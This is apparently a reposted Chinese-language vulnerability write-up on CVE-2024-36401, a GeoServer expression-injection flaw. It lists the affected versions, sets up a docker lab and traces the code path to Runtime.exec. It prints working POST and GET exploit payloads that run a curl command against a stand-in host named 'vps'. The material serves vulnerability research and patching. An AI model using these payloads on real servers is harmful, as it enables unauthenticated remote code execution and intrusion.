GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

whippet2026-10-14文章来源:SecHub网络安全社区


漏洞简介

GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。未经身份验证的用户可以通过向默认的 GeoServer 安装发送特制的输入,利用多个 OGC 请求参数,如 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求,从而执行任意代码。GeoServer 使用的 xpath 引擎是 Apache Commons Jxpath,通过控制请求参数最后会触发 CVE-2022-41852 Apache Commons JXPath 远程代码执行。

‍

影响版本

2.25.0 <= GeoServer < 2.25.2

2.24.0 <= GeoServer < 2.24.4

GeoServer < 2.23.6

‍

漏洞复现

利用 docker 进行环境搭建

docker-compose.yml

version: '3'  
services:  
 web:  
   image: vulhub/geoserver:2.23.2  
   ports:  
    - "8080:8080"  
    - "5005:5005"

POST 利用方式

环境启动成功后构造数据包

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Type:application/xml
Content-Length: 381

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'curl http://vps:8081/1.txt')
  </wfs:valueReference>
</wfs:GetPropertyValue>

成功执行命令通过 curl 请求 vps 上的文件

GET 利用方式

GET 请求需要先获取 typeNames 的值,可以通过访问 /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage​ 来获取 typeNames,找到当前服务器中的所有 Type,选择其中一个name。

http://127.0.0.1:8080/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage

http://127.0.0.1:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=tiger:giant_polygon&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+http://vps:8081/1.txt')

漏洞分析

通过漏洞公告我们得知可能会从 GetPropertyValue​ 来触发漏洞,所以我们构造payload 并在 GetPropertyValue​ 的 run​ 方法添加断点进行调试

‍

org.geoserver.wfs.GetPropertyValue#run​

org.geotools.filter.AttributeExpressionImpl#evaluate(java.lang.Object)​

org.geotools.filter.AttributeExpressionImpl#evaluate(java.lang.Object, java.lang.Class<T>)​

org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor#get​

到这一步我们通过代码部分 JXPathContext.newContext​ 就已经可以明显看出漏洞CVE-2022-41852 Apache Commons JXPath 远程代码执行

‍

org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue​

漏洞比较关键的就是在此处,利用 context.getRootContext().getFunction(functionName, parameters);​ 去获取 function 之后再根据 function 去调用 invoke 方法

org.apache.commons.jxpath.PackageFunctions#getFunction​

会先判断类名是否存在,然后再根据方法是构造函数还是静态方法 返回

  • org.apache.commons.jxpath.functions.ConstructorFunction
  • org.apache.commons.jxpath.functions.MethodFunction

然后再去调用对应的 invoke

java.lang.Runtime#exec(java.lang.String)​